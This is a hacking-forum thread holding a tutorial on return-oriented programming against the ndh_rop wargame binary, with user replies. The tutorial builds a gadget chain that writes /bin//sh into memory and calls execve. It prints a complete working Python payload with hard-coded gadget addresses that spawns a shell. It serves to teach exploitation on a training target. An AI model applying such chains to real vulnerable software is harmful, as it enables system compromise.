Dynasty | Return Oriented Programming [ROP]

Dynasty | Return Oriented Programming [ROP] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: Dynasty | Return Oriented Programming [ROP] (/showthread.php?tid=3811326)

Pages: Pages 1 2 3

Dynasty | Return Oriented Programming [ROP] - -๖ۣۜDivine- - Oct 17, 2013

[img]http://img24.imageshack.us/img24/1800/5o9x.png[/img]

This tutorial assumes that you are not a beginner in all of this. If you are, refer to these previous threads and study them before proceeding.

This tutorial will require basic ASM knowledge. I will do my best to explain this and I am hoping that from this thread alone will you be able to do ROP. Now then, let's begin.

ROP, as you might have guessed from the title, stands for return oriented programming. Today we will battle both NX (Non executable stack) and ASLR (Address Space Layout Randomization). Ret2libc is the basis of ROP but ROP is far more advanced. So before you fully understand the returning to the libc functions don't advance with ROP as you will have problems understanding it.

That said, I'd also like you encourage many of you who stopped advancing with your low level exploitation skills and decided to not learn ROP. It is hard, but not as hard as many people will tell you. If you put your mind on it you will be able to master it like anything else.

Instead of returning to the libc functions, with ROP, we make use of instructions that are inside the very binary, or in the libraries linked to the application. These instruction sequences are called gadgets and there is one thing that all of them have in common. They all end in ret, hence the name. Unlike plain ret2libc (I said plain, ret2libc attacks can be chain too) we can chain these instruction sequences and perform complicated tasks with them. So basically, we are ripping a binary apart and using its code to create a program of our own. If you want to imagine it poetically, think of it as sacrificing a rabbit to Satan and then using its blood to write '666' on the ground. Wonderful, is it not?

We will be using a tool called ROPgadget. Go ahead and install it.

PHP Code 


<?php 
git clone git://github.com/JonathanSalwan/ROPgadget.git
cd ./ROPgadget
make
sudo make install 

ROPgadget is a very powerful tool that will help us search and find gadgets. It also has an option to automatically generate a execve() payload but I won't be going into that as it's self explanatory. The payload it generates is similar to one you'll be learning to piece together manually.

If you go into the binary-test directory, you will find a couple of files provided by ROPgadget for debugging purposes. Today we will be attempting to exploit ndh_rop from the famous Wargame.

Let's begin with basic exploitation. We want to find the offset. I'll keep this as short as possible as it has already been covered in the previous tutorials.

[Image: BAPF0RH.png]

The offset is 12.

We want to execute /bin/sh and for that we will be using function execve(). It takes three arguments. First one is filename, and it needs to contain full path to the file that we're running. As we don't want any arguments or any additional environment options we will set both of these to null. Now, let's take a look at the plan:

EAX - It needs to have a system call number. For execve() that would be eleven. You can find full list of functions and their numbers here.
EBX - It needs to point to /bin/sh in memory. Keep in mind that /bin/sh has to be terminated with /x00, but we can't use null bytes in our payload or we will run into problems.
EDX & ECX - They need to be pointing to NULL, so that is where we will point them at. However, all of this comes later. Right now, our main priority is writing /bin/sh.

We want to write /bin/sh somewhere into memory and load that address into EBX. That's why we will be writing into the .data section of the binary. Let's get data_start
address.

PHP Code 


<?php 
nm ndh_rop | grep data 

The address is 0x080cd9a0. Now, we wanted to write /bin/sh to that location. However, as you may see, /bin/sh only takes up seven bytes. We need to find a way to give it one more or it won't work properly.

We can do this by using /bin//sh instead of just /bin/sh. Test it, /bin//sh is accepted as a valid command. We can add as many '/' as we want, it'll still work.

So, we will be writing "/bin" to 0x080cd9a0. (data)
Then the next part of it, "//sh" to 0x080cd9a4. (data+4)
And finally "\x00" to 0x080cd9a8. (data+8)

It's an operation of three stages. Let's begin with the first one. Use ROPgadget to generate the gadgets. We will be looking through them in order to find anything useful.

PHP Code 


<?php 
./ROPgadget ndh_rop 

First, we will load the address of data where we will be storing the /bin//sh string into ECX. So the address of /bin//sh goes into ECX. Then we will pop the string into EAX and then using mov, write the content of EAX to location where ECX is pointing to. Let's do that.

In ASM, the storing of /bin and the address would look like this.

PHP Code 


<?php 
pop ecx ; ret
Addr_of_data
pop eax ; ret
"/bin" 

The pop ecx; ret allows us to pop values from the stack into ECX. The address of .data sections gets stored in ECX first. As for EAX, it gets assigned with the value "/bin". With these two loaded in these registers, we want to write the value of EAX into address ECX is pointing to. We do this with a simple mov.

PHP Code 


<?php 
mov [ecx], eax ; ret 

Alright. Now that we've done the basic blueprints, let's take a look at list of gadgets that were generated. Search for instructions that we just used.

PHP Code 


<?php 
0x080c5dd2 - The address of pop ecx; ret - We place address of .data section into ECX.
0x080cd9a0 - The address of .data section that we're popping into ECX.
0x080a4be6 - The address of pop eax; ret instruction. It pops "/bin" into EAX.
"/bin" - Value that gets stored in eax.
0x0804b2da - The mov instruction that writes the value to the address. 

We've successfully written the first part of the string. However, two more remain. Now we need to write the remaining //sh into .data address+4 (Because we already stored four bytes).

PHP Code 


<?php 
0x080c5dd2 - pop ecx; ret. - Again, we want to load the destination+4 into ecx.
0x080cd9a4 - Destination in .data that gets loaded into ecx.
0x080a4be6 - pop eax; ret - Loading //sh into eax.
"//sh" - What gets loaded into eax.
0x0804b2da - mov [ecx], eax ; ret - Mov that writes the value of eax into ecx. 

The third part of the string that needs to be loaded is the null byte that will terminate the line. For this we will use xor to zero out EAX and then mov that to destination+8.

PHP Code 


<?php 
0x080c5dd2 - pop ecx; ret
0x080cd9a8 - destination+8
0x0804aae0 - xor eax,eax ; ret
0x0804b2da - Mov. 

Now finally, /bin//sh has been successfully written. Now the blueprint that we made earlier comes in mind. We point EBX at the beginning. ECX and EDX will be pointed at the end of our string because we stored a null byte there, at 0x080cd9a8. They have to be pointing to null.

PHP Code 


<?php 
0x08048144 - pop ebx; ret - Loads the beginning of our /bin//sh into EBX.
0x080cd9a0 - The beginning of /bin//sh that is stored.
0x080c5dd2 - pop ecx; ret 
0x080cd9a8 - End of /bin//sh; data+8
0x08052bba - pop edx; ret 
0x080cd9a8 - End of /bin//sh; .data+8 

EBX, ECX and EDX are all set. The only thing left is the EAX. We will be increasing the value of EAX manually through inc which makes it go up for one. We'll use it eleven times to set EAX to 11, which is system call for execve().

PHP Code 


<?php 
0x08048ca6 - inc eax; ret - We do it 11 times. I won't paste it that many times to save space. 

So, allow me to summarize. We wrote the first part of /bin//sh into EAX and the address in .data section into ECX. We used mov to move EAX's value into the address ECX was pointing at. We repeated this again, but this time wrote to data+4 and used "//sh" as value instead. Then at last we used zeroed out EAX with xor and moved that to data+8, adding a null byte without messing things up.

Then we began by setting the EBX. We pointed it at the beginning of /bin/sh. Then we pointed ECX and EDX at the end of and hit the null. Finally, we increased EAX until it reached eleven. The last part is invoking system call. Look for int 0x80 as that is its representation.

PHP Code 


<?php 
0x08048ca8 - int 0x80 - System call 

Now let's put all of this together. Remember to use little endian order. Let's make a python file.

PHP Code 


<?php 
vim dong.py

a="A"*12+"\xd2\x5d\x0c\x08" + "\xa0\xd9\x0c\x08"+"\xe6\x4b\x0a\x08"+"/bin"+"\xda\xb2\x04\x08"+"\xd2\x5d\x0c\x08" +
"\xa4\xd9\x0c\x08"+"\xe6\x4b\x0a\x08"+"//sh"+"\xda\xb2\x04\x08"+"\xd2\x5d\x0c\x08" + "\xa8\xd9\x0c\x08"+"\xe0\xaa\x04\x08"+
"\xda\xb2\x04\x08"+"\x44\x81\x04\x08"+"\xa0\xd9\x0c\x08"+"\xd2\x5d\x0c\x08"+"\xa8\xd9\x0c\x08"+"\xa6\x8c\x04\x08"+"\xa6\x8c\x04\x08"+"\xa6\x8c\x04\x08"+
"\xa6\x8c\x04\x08"+"\xa6\x8c\x04\x08"+"\xa6\x8c\x04\x08"+"\xa6\x8c\x04\x08"+"\xa6\x8c\x04\x08"+"\xa6\x8c\x04\x08"+"\xa6\x8c\x04\x08"+"\xa6\x8c\x04\x08"+"\xa8\x8c\x04\x08"
print a 

And run it.

[Image: 9UxMkpl.png]

* - michael1026 - Oct 17, 2013

Very nice guide. I personally don't understand it, but hopefully I'll be able to soon.

* - -Elusive- - Oct 17, 2013

Great tutorial Divine, I'll setup and start doing this stuff when I can :D

* - Mista Jack - Oct 18, 2013

Man, this Divine kid needs a reward or something because this dude is HQ as fuck. Thanks for the tutorial dude.

* - barfoo - Oct 18, 2013

Isn't the website and forum hacking section supposed to be focused more on.. website and forum hacking? Not low level stuff.

* - Artisanal - Oct 18, 2013

I like the fact, that Dynasty has alot of Linux tutorials.

* - -๖ۣۜDivine- - Oct 18, 2013

(Oct 18, 2013 01:37 AM)Zombay Wrote: I like the fact, that Dynasty has alot of Linux tutorials.

Those are all Antagonism tutorials. This is the first one for Dynasty.

* - Im gone brah - Oct 18, 2013

Le troll, it was a time ago sience you posted your last tutorial.

* - cheatson - Oct 18, 2013

Very HQ, as expected from Divine. When I get into this stuff this is going to be very handy.

* - Keeper - Oct 18, 2013

My eyes hurt, so much shellcode... and by the way you forgot something - the images and me.

* - HUUF - Oct 18, 2013

All looks cool / Dope but i dont get a fxck of it xD ?

Explain me please <3

Really would like to ttry it out man! you made something awesome!!

* - Im gone brah - Oct 18, 2013

(Oct 18, 2013 07:17 AM)HUUF Wrote: All looks cool / Dope but i dont get a fxck of it xD ?

Explain me please <3

Really would like to ttry it out man! you made something awesome!!

This tutorial assumes that you are not a beginner in all of this. If you are, refer to these previous threads and study them before proceeding.

* - Dyme‎‎‎‎‎‎‎‎‎‎‎‎ - Oct 18, 2013

I would really appreciate if you explained how to integrate gadgets from libc in case the vulnerable bin doesn't contain a sufficient amount.

Come on Divine... do you have no shame?

* - ida - Oct 18, 2013

Great tutorial, Divine. I could not expect anything less from you.

* - -๖ۣۜDivine- - Oct 18, 2013

(Oct 18, 2013 08:32 AM)Drake Bell Wrote: I would really appreciate if you explained how to integrate gadgets from libc in case the vulnerable bin doesn't contain a sufficient amount.

Come on Divine... do you have no shame?

I'll add it you hetero, no tears pls.

(Oct 18, 2013 05:03 AM)Keeper Wrote: My eyes hurt, so much shellcode... and by the way you forgot something - the images and me.

Screenshots in the thread have been designed to look more appealing. Thanks Keeper.